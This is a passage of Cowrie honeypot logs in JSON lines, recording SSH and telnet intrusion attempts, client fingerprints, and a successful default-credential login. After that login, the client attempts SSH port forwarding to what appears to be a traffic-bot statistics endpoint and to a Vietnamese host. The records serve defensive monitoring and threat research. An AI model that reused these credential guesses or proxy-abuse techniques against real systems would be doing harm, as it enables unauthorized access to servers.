macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:14.711993Z","src_ip":"113.164.152.20","session":"ebd044048ca8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:16.057945Z","src_ip":"113.164.152.20","session":"ebd044048ca8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:16.492476Z","session":"ebd044048ca8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:16.585658Z","session":"ebd044048ca8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:16.911881Z","src_ip":"113.164.152.20","session":"ebd044048ca8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=WWt3T2k%2BMSpXWUUyYyhWVQ%3D%3DGWx0guajLltR%2BRRXS9MzxDlxLDnFfZo6OmJk2ePbQqhrm4ZFYg9XLj7whNnYD1m8lQXLTaa2adoZBQqVgEFDCpv0XYciKio6YIXAWFkFVOaIDl0M0wGVTDZyw4bG4S%2FiZmGAiVdKKVghrTyyJwY1XrLwhSzV8CKZst4ABgvpyiVuTraGTaBKRYoCZdwGYv%2BWhQQdo39%2FTOBhFa87JCoKa%2BoC5WVIqCkYBLMa1Hz8ftp1q32KWtdoOzD0qRGPu5ZWmqnO4RYYXX9gXjt8%2FKwnE8rXHRnFyU8UwY4yCVlvJKWJ94GZUHMvup6qHb6o3N3QZx9tFKz3hMomWHnFGpB%2BsTSANwvAm3rBCJgt678swBo4gdf11qmc2MwLCO36ejqzKMM702dNqIyCvLUhANEZrQcC4VOh27dV2%2BEVMjLJkj8P8eImL3VWZA0RNOa%2BWv5L3BX4DP4Bd%2FBdvdg4Bs4ScKgwvPDDCWaWr6a4Yz91AdkGEyvOCH5o7N05q52csjWydNfSh3u9qmFnWRGruDSWN6Oqwf1Fp7y3eugkgWRZqXWsmxeiM6AXgawwN5g3DJzoDuBhzieZFgS2EKRvCyju9vHLv6bHeyHQfZ%2FFbvQyWv%2Bk7j8p%2F7o4t7PW57%2BWPkWVCFJglAcU6J%2FpES2YlXxmxQDp5gjZbvDZPm8mMcg65cLPEOD%2FZ3lR2zepraeYo%2FCvFyddxFNmJ9Ulv5CQc0bZdo6eAVlQ3ze%2ByEJQrxkB5B7F0XPf6Nhf9K5NKNB%2B0r1RdekdX4BJFLt%2BajLqD7jwquknUzjq3FsZssKeUnV3tegmrYmaruIfEvlt2S%2BbGI5GROOCzeCrKWPylyJADvJY5UoLKwbkFrkYND4FLZGNviNtq%2BwiKagMG3okUZ8iWwLbILXvbVZmXNVq3DDWvhKDw1pxGe%2FUfRDIf4K5kIb9aUH4faaTtj1YTDmWB3iuVyAi6I6%2B6unUgRAoXrcK0LZxGdQhf%2BR52fMPcFzDTaa0cGbz86ss54kS3ic9LWPRVs5yjJLt2bHl9ubV1OMyytKG%2BSgYlhZo6%2F20p5VgCUylUvE%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=WWt3T2k%2BMSpXWUUyYyhWVQ%3D%3DGWx0guajLltR%2BRRXS9MzxDlxLDnFfZo6OmJk2ePbQqhrm4ZFYg9XLj7whNnYD1m8lQXLTaa2adoZBQqVgEFDCpv0XYciKio6YIXAWFkFVOaIDl0M0wGVTDZyw4bG4S%2FiZmGAiVdKKVghrTyyJwY1XrLwhSzV8CKZst4ABgvpyiVuTraGTaBKRYoCZdwGYv%2BWhQQdo39%2FTOBhFa87JCoKa%2BoC5WVIqCkYBLMa1Hz8ftp1q32KWtdoOzD0qRGPu5ZWmqnO4RYYXX9gXjt8%2FKwnE8rXHRnFyU8UwY4yCVlvJKWJ94GZUHMvup6qHb6o3N3QZx9tFKz3hMomWHnFGpB%2BsTSANwvAm3rBCJgt678swBo4gdf11qmc2MwLCO36ejqzKMM702dNqIyCvLUhANEZrQcC4VOh27dV2%2BEVMjLJkj8P8eImL3VWZA0RNOa%2BWv5L3BX4DP4Bd%2FBdvdg4Bs4ScKgwvPDDCWaWr6a4Yz91AdkGEyvOCH5o7N05q52csjWydNfSh3u9qmFnWRGruDSWN6Oqwf1Fp7y3eugkgWRZqXWsmxeiM6AXgawwN5g3DJzoDuBhzieZFgS2EKRvCyju9vHLv6bHeyHQfZ%2FFbvQyWv%2Bk7j8p%2F7o4t7PW57%2BWPkWVCFJglAcU6J%2FpES2YlXxmxQDp5gjZbvDZPm8mMcg65cLPEOD%2FZ3lR2zepraeYo%2FCvFyddxFNmJ9Ulv5CQc0bZdo6eAVlQ3ze%2ByEJQrxkB5B7F0XPf6Nhf9K5NKNB%2B0r1RdekdX4BJFLt%2BajLqD7jwquknUzjq3FsZssKeUnV3tegmrYmaruIfEvlt2S%2BbGI5GROOCzeCrKWPylyJADvJY5UoLKwbkFrkYND4FLZGNviNtq%2BwiKagMG3okUZ8iWwLbILXvbVZmXNVq3DDWvhKDw1pxGe%2FUfRDIf4K5kIb9aUH4faaTtj1YTDmWB3iuVyAi6I6%2B6unUgRAoXrcK0LZxGdQhf%2BR52fMPcFzDTaa0cGbz86ss54kS3ic9LWPRVs5yjJLt2bHl9ubV1OMyytKG%2BSgYlhZo6%2F20p5VgCUylUvE%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:16.914928Z","src_ip":"113.164.152.20","session":"ebd044048ca8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:17.194261Z","src_ip":"113.164.152.20","session":"ebd044048ca8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03iv\\x04eQ\\xaa\\x92\\x985n0n\\xf0Z\\x96Hhu\\xb9\\x03\\xb3\\xa8D\\x05\\xe9\\xbe\\xbd\\xc0\\x83->\\x10 v\\x1f\\x908\\xb7\\xffD\\xb6\\xf7\\x18>\\xff\\xa5\\x98\\xf2\\x0b\\x95\\r\\tm\\xf0\\x14\\x95\\xb2\\xee\\xe1\\xdb\\x06\\xf0\\xf2Z\\xe9\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd1\\xe5\\xf6jT2X;\\xce(\\ri\\xe4\\\\fbE\\xad\\x14\\x18S\\xf8\\r\\xfd\\xfa\\x81\\xe4`{\\xbc@\\x13\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03iv\\x04eQ\\xaa\\x92\\x985n0n\\xf0Z\\x96Hhu\\xb9\\x03\\xb3\\xa8D\\x05\\xe9\\xbe\\xbd\\xc0\\x83->\\x10 v\\x1f\\x908\\xb7\\xffD\\xb6\\xf7\\x18>\\xff\\xa5\\x98\\xf2\\x0b\\x95\\r\\tm\\xf0\\x14\\x95\\xb2\\xee\\xe1\\xdb\\x06\\xf0\\xf2Z\\xe9\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd1\\xe5\\xf6jT2X;\\xce(\\ri\\xe4\\\\fbE\\xad\\x14\\x18S\\xf8\\r\\xfd\\xfa\\x81\\xe4`{\\xbc@\\x13\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:17.197479Z","src_ip":"113.164.152.20","session":"ebd044048ca8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:17.761987Z","session":"ebd044048ca8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"lostsoul","message":"login attempt [admin/lostsoul] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:17.783013Z","src_ip":"91.92.40.36","session":"bb1d6b47b264","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:18.050258Z","src_ip":"113.164.152.20","session":"ebd044048ca8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03D\\xa3\\xb5\\x8f\\xeb\\xe2\\xf4\\x1aVN\\xc7m\\x85\\xd1D#6\\x9c\\xe6\\xda\\x13T\\xdb\\xd3A\\x16fh\\x0b[\\x8d\\x05 \\xd8,~\\xda\\x0b#E$\\x84M\\xfd!\\x01R\\xe6T\\xf2~\\xd4?\\r\\x83B\\x14\\x9c\\x11\\xf5\\xae?b\\xf8\\xc0\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xab\\xc6\\x81\\x7f\\xc7J\\x85\\xf7\\xd1 \\x19R\\xa2\\xaa\\xa0\\xc8\\xf8\\xa7\\xf9\\x8f\\xb9[\\xd9p7\\xa6L\\x1e\\xc6\\xc5~R\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03D\\xa3\\xb5\\x8f\\xeb\\xe2\\xf4\\x1aVN\\xc7m\\x85\\xd1D#6\\x9c\\xe6\\xda\\x13T\\xdb\\xd3A\\x16fh\\x0b[\\x8d\\x05 \\xd8,~\\xda\\x0b#E$\\x84M\\xfd!\\x01R\\xe6T\\xf2~\\xd4?\\r\\x83B\\x14\\x9c\\x11\\xf5\\xae?b\\xf8\\xc0\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xab\\xc6\\x81\\x7f\\xc7J\\x85\\xf7\\xd1 \\x19R\\xa2\\xaa\\xa0\\xc8\\xf8\\xa7\\xf9\\x8f\\xb9[\\xd9p7\\xa6L\\x1e\\xc6\\xc5~R\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:18.053012Z","src_ip":"113.164.152.20","session":"ebd044048ca8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:18.479966Z","src_ip":"113.164.152.20","session":"ebd044048ca8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:19.626426Z","src_ip":"91.92.40.36","session":"bb1d6b47b264","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34854,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c36b2c3a764","protocol":"ssh","message":"New connection: 91.92.40.36:34854 (159.203.135.109:22) [session: 5c36b2c3a764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:20.123924Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43304,"dst_ip":"159.203.135.109","dst_port":23,"session":"af764c715730","protocol":"telnet","message":"New connection: 172.81.62.90:43304 (159.203.135.109:23) [session: af764c715730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:20.653929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:20.917730Z","src_ip":"91.92.40.36","session":"5c36b2c3a764","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:20.921324Z","src_ip":"91.92.40.36","session":"5c36b2c3a764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00092148780823,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:21.270697Z","src_ip":"94.23.66.112","session":"2fd404fadb38","protocol":"telnet"}
